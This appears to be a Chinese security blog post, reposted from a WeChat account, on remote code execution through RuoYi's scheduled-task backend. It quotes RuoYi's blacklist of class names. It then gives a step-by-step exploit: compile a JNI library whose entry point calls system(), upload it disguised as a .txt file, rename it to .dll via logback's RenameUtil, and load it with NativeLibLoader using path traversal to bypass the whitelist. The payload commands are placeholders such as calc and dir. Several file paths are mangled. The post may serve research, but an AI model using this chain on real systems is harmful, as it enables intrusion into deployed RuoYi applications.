
public static final String[] JOB_ERROR_STR = {
"java.net.URL",
"javax.naming.InitialContext",
"org.yaml.snakeyaml",
"org.springframework",
"org.apache",
"com.ruoyi.common.utils.file",
"com.ruoyi.common.config",
"com.ruoyi.generator"
};
public static final String[] JOB_WHITELIST_STR = { "com.ruoyi.quartz.task" };
spring Quartz 的执行是通过Scheduler 类去执行的,该类下的方法
|
|
---|---|
scheduleJob(JobDetail jobDetail, Trigger trigger) |
|
addJob(JobDetail jobDetail, boolean replace) |
|
deleteJob(JobKey jobKey) |
|
|
|
|
|
|
|
|
|
↓
[Quartz Scheduler]
↓
[MyQuartzJob.executeInternal()] 输出执行逻辑
分析:传入ryTask.ryParams('ry')
• 使用的类不在黑名单中
• 包含com.ruoyi.quartz.task字符串
• 不可以使用rmi ldap http字符串
package com.ruoyi.system;
public class cmd {
public native void exec();
}
& "C:Program FilesJavajdk1.8.0_112binjavac.exe" -h . -cp . cmd.java
#include "com_ruoyi_system_cmd.h"
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
JNIEXPORT void JNICALL Java_com_ruoyi_system_cmd_exec(JNIEnv *, jobject)
{
system("calc");
}
gcc -I "C:Program FilesJavajdk1.8.0_112include" -I "C:Program FilesJavajdk1.8.0_112includewin32" -shared -o cmd.dll .cmd.c
gcc -fPIC -I"/root/jdk8/include" -I "/root/jdk8/include/linux" -shared -o rce.so cmd.c
package com.ruoyi.system;
public class Text {
public static void main(String[] args) {
System.out.println("Library path: " + System.getProperty("java.library.path"));
System.loadLibrary("cmd");
}
}
使用JNI_OnLoad解决:
#include <jni.h>
#include <stdio.h>
JNIEXPORT jint JNICALL JNI_OnLoad(JavaVM *vm, void *reserved) {
printf("JNI_OnLoad called! 执行初始化操作n");
// 这里写你想执行的命令,比如启动外部程序、初始化资源等
system("dir"); // Windows示例,Linux可换成"ls"
return JNI_VERSION_1_6; // 返回JNI版本,必须返回合适的版本
}
上传恶意JNI文件
ch.qos.logback.core.rolling.helper.RenameUtil.renameByCopying
("D:ruoyiuploadPathupload2025�519com.ruoyi.quartz.task_20250519013441A002.txt",
"D:ruoyiuploadPathupload2025�519com.ruoyi.quartz.task_20250519013441A002.dll");
com.sun.glass.utils.NativeLibLoader.loadLibrary('../../../com.ruoyi.quartz.task_20250519013441A002')
2、对方JDK版本不能过高不然会不存在 com.sun.glass.utils.NativeLibLoader类(但是也可以寻找新的Loader类)com.sun.glass.utils.NativeLibLoader存在于JDK 8
原文始发于微信公众号(鼎新安全):Java代审&后台计划任务中的RCE攻击
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论